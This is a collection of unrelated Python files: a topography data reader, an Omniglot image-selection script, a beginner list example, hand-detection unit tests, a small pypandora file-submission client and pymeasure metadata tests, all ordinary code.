    if (len(header["header_lines"]) > 0) and (abs(topotype) == 1):
        raise ValueError("*** topotype = %s but header found" % topotype)
    header_length = header["header_lines"].count("\n")

    if topotype == 1:
        d = np.loadtxt(fname, skiprows=header_length)
        ncol = d.shape[1]
        if ncol == 3:
            tcol = None
            xcol = d[:, 0]
            ycol = d[:, 1]
            dzcol = d[:, 2]
        else:
            tcol = d[:, 0]
            xcol = d[:, 1]
            ycol = d[:, 2]
            dzcol = d[:, 3]
        xdiff = np.diff(xcol)
        inddiff = pylab.find(xdiff < 0)
        mx = inddiff[0] + 1
        mt = 1
        if tcol is not None:
            # check if there is more than one time in this file:
            tdiff = np.diff(tcol)
            inddiff = pylab.find(tdiff > 0)
            if len(inddiff) > 0:
                mt = len(inddiff) + 1
        my = len(xcol) / (mx * mt)
        if my != int(len(xcol) / float(mx * mt)):
            print(("*** found mx = %s, mt = %s" % (mx, mt)))
            raise ValueError("*** mx*mt does not divide length of data")
        print(("Found mt = %s times with mx = %s, my = %s" % (mt, mx, my)))
        if tcol is None:
            t = []
        else:
            t = tcol[0 :: mx * my]

        X = np.reshape(xcol[: mx * my], (my, mx))
        Y = np.reshape(ycol[: mx * my], (my, mx))
        dZ = np.reshape(dzcol, (mt, my, mx))

    elif topotype == 3:
        try:
            my = header["nrows"]
            mx = header["ncols"]
            mt = header["mtimes"]
            xll = header["xll"]
            yll = header["yll"]
            t0 = header["t0"]
            dx = header["dx"]
            dy = header["dy"]
            dt = header["dt"]
        except:
            raise ValueError("*** Missing information from header")
        if (dt == 0) or (mt == 1):
            t = np.array([t0])
        else:
            t = np.arange(t0, t0 + mt * dt, dt)
        x = np.linspace(xll, xll + mx * dx, mx)
        y = np.linspace(yll, yll + my * dy, my)
        X, Y = np.meshgrid(x, y)
        X = X.T
        Y = Y.T

        fdata = np.loadtxt(fname, skiprows=header_length)
        dzcol = np.reshape(fdata, (mx * my * mt, 1))
        dZ = np.empty((mt, mx, my))
        for i in range(mt):
            dzi = np.reshape(dzcol[i * mx * my : (i + 1) * mx * my], (my, mx))
            dzi = np.flipud(dzi)
            dZ[i, :, :] = dzi.T

    else:
        raise ValueError("*** Cannot read topotype = " % topotype)

    dtopo = Data()
    dtopo.t = t
    dtopo.X = X
    dtopo.Y = Y
    dtopo.dZ = dZ
    return dtopo


import os
from os.path import join
import shutil
import argparse
import logging
import glob
import json
from typing import List, Tuple
import torch.nn
from torch.utils.data import Dataset
from torch.utils.tensorboard import SummaryWriter
from torchvision.datasets.utils import download_and_extract_archive, check_integrity, list_dir, list_files
import numpy as np
import imageio
from torchvision import transforms
from datasets.omniglot_one_shot_dataset import OmniglotTransformation
from scipy import stats
from cls_module.cls import CLS

class ImageSet(Dataset):
    """ Modified from `https://pytorch.org/vision/stable/_modules/torchvision/datasets/omniglot.html`
    """
    folder = 'omniglot-py'
    download_url_prefix = 'https://raw.githubusercontent.com/brendenlake/omniglot/master/python'
    zips_md5 = {
        'images_background': '68d2efa1b9178cc56df9314c21c6e718'
    }

    def __init__(self, root, index, transform=None, target_transform=None, download=False):
        self.root = root
        self.index = index
        self.transform = transform
        self.target_transform = target_transform

        if download:
            self.download()

        if not self._check_integrity():
            raise RuntimeError('Dataset not found or corrupted.' +
                               ' You can use download=True to download it')

        self.target_folder = join(self.root, self._get_target_folder())

        self.alphabets = list_dir(join(self.target_folder))

        self.characters: List[str] = sum([[join(a, c) for c in list_dir(join(self.target_folder, a))]
                                           for a in self.alphabets], [])
        self.characters = sorted(self.characters)

        self.character_images = [(list_files(join(self.target_folder, character), '.png')[self.index], idx)
                                     for idx, character in enumerate(self.characters)]

    def __len__(self):
        return len(self.character_images)

    def __getitem__(self, index: int):

        image_name, character_class = self.character_images[index]

        image_path = join(self.target_folder, self.characters[character_class], image_name)
        image = imageio.imread(image_path)

        # Convert to float values in [0, 1]
        image = image.astype(np.float32)
        image = (image - image.min()) / (image.max() - image.min())

        if self.transform:
            image = self.transform(image)

        if self.target_transform:
            character_class = self.target_transform(character_class)

        return image, character_class, image_path

    def _check_integrity(self):
        zip_filename = self._get_target_folder()
        if not check_integrity(join(self.root, zip_filename + '.zip'), self.zips_md5[zip_filename]):
            return False
        return True

    def download(self):
        if self._check_integrity():
            print('Files already downloaded and verified')
            return

        filename = self._get_target_folder()
        zip_filename = filename + '.zip'
        url = self.download_url_prefix + '/' + zip_filename
        download_and_extract_archive(url, self.root, filename=zip_filename, md5=self.zips_md5[filename])

    def _get_target_folder(self):
        return 'images_background'

if __name__ == '__main__':
    score = 0.15
    set_name = 'Mix_0_15_015_test'
    hebbian = False

    image_tfms = transforms.Compose([
        transforms.ToTensor(),
        OmniglotTransformation(resize_factor=0.5)])
    set_size = 15
    test = ImageSet('./data',  index=0, transform=image_tfms, target_transform=None)

    best_Image_Set = []
    counter_image = 42
    best_Image_Set.append(test[counter_image])
    labels_best_set = [counter_image]
    images_path = [test[counter_image][2]]

    while len(best_Image_Set) < set_size:
        if test[counter_image+1][1] not in labels_best_set:
            tmp_image = test[counter_image+1]
            correlation = [stats.pearsonr(torch.flatten(a[0], start_dim=0),
                                          torch.flatten(tmp_image[0], start_dim=0))[0] for a in best_Image_Set]

            valid_correlation = np.product([a < score for a in correlation]) == 1

            if valid_correlation:
                best_Image_Set.append(tmp_image)
                labels_best_set.append(tmp_image[1])
                images_path.append(tmp_image[2])
                counter_image = counter_image + 1
                print(correlation)
            else:
                if counter_image + 1 == len(test)-1:
                    score = score + 0.02
                    counter_image = 0
                else:
                    counter_image = counter_image + 1

        else:
            counter_image = counter_image + 1

    for f in range(len(images_path)):
        name = images_path[f]
        if f < 9:
            label = '0' + str(f+1)
        else:
            label = str(f)
        tmp_path = './data/own_alphabets/' + set_name + '_simple/character' + label
        if not os.path.isdir(tmp_path):
            os.makedirs(tmp_path)
        shutil.copy(name, tmp_path)

    pretrained_model_path = "./runs/associative_inference/static/20220131-140733/1150/"
    parser = argparse.ArgumentParser(description='Replicate of Schapiro')
    if hebbian:
        parser.add_argument('-c', '--config', nargs="?", type=str,
                            default='./definitions/aha_config_Schapiro_hebb.json',
                            help='Configuration file for experiments.')
    else:
        parser.add_argument('-c', '--config', nargs="?", type=str, default='./definitions/aha_config_Schapiro.json',
                            help='Configuration file for experiments.')

    parser.add_argument('-l', '--logging', nargs="?", type=str, default='warning',
                        help='Logging level.')

    args = parser.parse_args()

    logging_level = getattr(logging, args.logging.upper(), None)
    logging.basicConfig(level=logging_level)

    with open(args.config) as config_file:
        config = json.load(config_file)

    summary_dir = './summaries/' + set_name
    writer = SummaryWriter(log_dir=summary_dir)
    device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')

    model = CLS(config['image_shape'], config, device=device, writer=writer, output_shape=config['pairs_shape']).to(
        device)

    model_path = os.path.join(pretrained_model_path, 'pretrained_model_*')
    # Find the latest file in the directory
    latest = max(glob.glob(model_path), key=os.path.getctime)

    trained_model_path = latest

    # Load only the LTM part
    pretrained_dict = torch.load(trained_model_path)
    pretrained_dict = {k: v for k, v in pretrained_dict.items() if k.startswith('ltm')}
    model.load_state_dict(pretrained_dict)

    best_Image_Set = []
    counter_image = 42

    data = [test[a][0] for a in range(len(test))]
    data_tensor = torch.stack(data, 0)
    targets = [test[a][1] for a in range(len(test))]
    targets = torch.tensor(targets, dtype=torch.long, device=device)
    _, data = model(data_tensor, targets, mode='extractor')
    data = data['ltm']['memory']['output'].detach()
    best_Image_Set.append(data[counter_image])
    labels_best_set = [counter_image]
    images_path = [test[counter_image][2]]

    while len(best_Image_Set) < set_size:

        if test[counter_image+1][1] not in labels_best_set:

            tmp_image = data[counter_image+1]

            correlation = [stats.pearsonr(torch.flatten(a, start_dim=0),
                                          torch.flatten(tmp_image, start_dim=0))[0] for a in best_Image_Set]

            valid_correlation = np.product([a < score for a in correlation]) == 1

            if valid_correlation:
                best_Image_Set.append(tmp_image)
                labels_best_set.append(test[counter_image+1][1])
                images_path.append(test[counter_image+1][2])
                counter_image = counter_image + 1
                print(correlation)
            else:
                if counter_image + 1 == len(test)-1:
                    score = score + 0.02
                    counter_image = 0
                else:
                    counter_image = counter_image + 1

        else:
            counter_image = counter_image + 1

    for f in range(len(images_path)):
        name = images_path[f]
        if f < 9:
            label = '0' + str(f+1)
        else:
            label = str(f)
        tmp_path = './data/own_alphabets/' + set_name + '/character' + label
        if not os.path.isdir(tmp_path):
            os.makedirs(tmp_path)
        shutil.copy(name, tmp_path)


#building a list
# building a list from scratch
# we can create an empty list and then add elements to it, using append method
#a list stays in order and new elemnts are added to the list
stuff=list()
stuff.append('book')
stuff.append('99')
print(stuff)
stuff.append('cookie')
print(stuff)


import unittest
from vpt.common import *

from vpt.streams.file_stream import *
from vpt.hand_detection.hand_generator import *

class HandGenTester(unittest.TestCase):

    def setUp(self):
        self._test_folder = "data/testdata/p0/"
        self._ftype = "bin"
        self._img_test = np.load("data/testdata/filestream_test.npy")
        self._nfiles = 844

        self._fs = FileStream(self._test_folder, self._ftype)

        s.participant = "p0"
        M = 3
        radius = .3
        n_samples = 250
        refresh = False
        segmentation_model_path = "%s_M%i_rad%0.1f" % (s.participant if s.participant != "p9" else "p1", M, radius)  # added p9 check for testing with smaller dataset

        hs = load_hs_model(s.participant, M, radius, n_samples, refresh, segmentation_model_path)
        self.hd = HandDetector(hs)
        hg = HandGenerator(self._fs, self.hd)
        self._hand_gen = hg.hand_generator()

    def test_filestream(self):

        self.assertEqual(len(self._fs._fpaths), self._nfiles)

        img_gen = self._fs.img_generator()

        i = 0
        for i, (img, fpath) in enumerate(img_gen):

            if fpath == "data/testdata/p0/error_2/p0e/002929.bin":
                # numbers are beginning and test file numbers
                self.assertTrue(np.array_equal(img, self._img_test))

        self.assertEqual(i, self._nfiles-1)

    def test_handgenerator(self):

        for i, (lh, rh) in enumerate(self._hand_gen):
            self.assertIsNotNone(lh)
            self.assertIsNotNone(rh)

            if i == 10:
                break

    def test_handgenerator_with_annotations(self):

        annnotation_file = "data/testdata/p0/annotations.txt"
        annotations = load_annotations(annnotation_file, error=True)

        key = getFileKey("/Users/fortjay81/Dropbox/Uvic/dissertation/vpt/src/data/p0/error_1/p0d/001421.bin")
        a = annotations[key]
        self.assertTupleEqual(('1', '1'), tuple(a))

        key = getFileKey("/Users/fortjay81/Dropbox/Uvic/dissertation/vpt/src/data/p0/error_0/p0e/002522.bin")
        a = annotations[key]
        self.assertTupleEqual(('0', '0'), tuple(a))

        hg = HandGenerator(self._fs, self.hd, annotations)
        hand_gen = hg.hand_generator()

        for i, (lh, rh) in enumerate(hand_gen):
            self.assertIsNotNone(lh)
            self.assertIsNotNone(rh)

            self.assertEqual(lh.label(), 2)
            self.assertEqual(rh.label(), 2)

            if i == 10:
                break

    def test_sub_handgenerator(self):

        hs = SubSegmentationModel("TestModel")

        background_folder = "data/testdata/p0/background_model_2"
        hs = SubSegmentationModel("Test")
        hs.initialize(background_folder, history=50, varThreshold=.3, shadowDetection=False)

        hd = HandDetector(hs)
        hg = HandGenerator(self._fs, hd)

        for i, (lh, rh) in enumerate(hg.hand_generator()):
            self.assertIsNotNone(lh)
            self.assertIsNotNone(rh)

            if i == 10:
                break

if __name__ == '__main__':

    unittest.main()


#!/usr/bin/python3

import pypandora
import time
import sys

pp = pypandora.PyPandora(root_url="http://127.0.0.1:6100")

for arg in sys.argv[1:]:
    print(arg, end="", flush=True)
    print(":", end="", flush=True)

    res = pp.submit_from_disk(arg)

    while True:
        print(".", end="", flush=True)
        time.sleep(1)

        res = pp.task_status(res["taskId"])

        if res["status"] != "WAITING":
            break

    print(res["status"])


import pytest

from pymeasure.experiment.parameters import Metadata
from pymeasure.experiment.procedure import Procedure

def test_metadata_default():
    p = Metadata('Test', default=5)
    assert p.value == 5

def test_metadata_units():
    p = Metadata('Test', units='tests')
    assert p.units == 'tests'

def test_metadata_formatting():
    p1 = Metadata('Test', default=5.157, units='tests')
    assert str(p1) == "5.157 tests"

    p2 = Metadata('Test', default=5.157, units='tests', fmt="%.1f")
    assert str(p2) == "5.2 tests"

def test_metadata_notset():
    p = Metadata('Test')
    with pytest.raises(ValueError):
        p.value

def test_metadata_object_replacement():
    class TestProcedure(Procedure):
        md = Metadata('Test callable', default=19)

    pr = TestProcedure()
    assert pr.md == 19
    assert pr._metadata["md"].value == 19

    # Manually set another value
    pr.md = 20

    pr.evaluate_metadata()

    # Check if the metadata has been correctly replaced with the new value
    assert pr.md == 20
    assert pr._metadata["md"].value == 20

def test_metadata_fget_evaluation():
    def test_method():
        return "teststring"

    class TestAttribute():
        def callable(self):
            return 84

        @property
        def property(self):
            return 48

    class TestProcedure(Procedure):
        md_callable = Metadata('Test callable', fget=test_method)
        md_str_call = Metadata('Test string callable', fget="callable")
        md_str_prop = Metadata('Test string property', fget="property")
        md_nest_call = Metadata('Test nested callable', fget="atr.callable")
        md_nest_prop = Metadata('Test nested property', fget="atr.property")

        def callable(self):
            return 42

        @property
        def property(self):
            return 24

        atr = TestAttribute()

    pr = TestProcedure()

    # Check if all Metadata have no value yet
    assert not pr._metadata["md_callable"].is_set()
    assert not pr._metadata["md_str_call"].is_set()
    assert not pr._metadata["md_str_prop"].is_set()
    assert not pr._metadata["md_nest_call"].is_set()
    assert not pr._metadata["md_nest_prop"].is_set()

    pr.evaluate_metadata()

    # Check if all Metadata has been correctly evaluated
    assert pr._metadata["md_callable"].value == "teststring"
    assert pr._metadata["md_str_call"].value == 42
    assert pr._metadata["md_str_prop"].value == 24
    assert pr._metadata["md_nest_call"].value == 84
    assert pr._metadata["md_nest_prop"].value == 48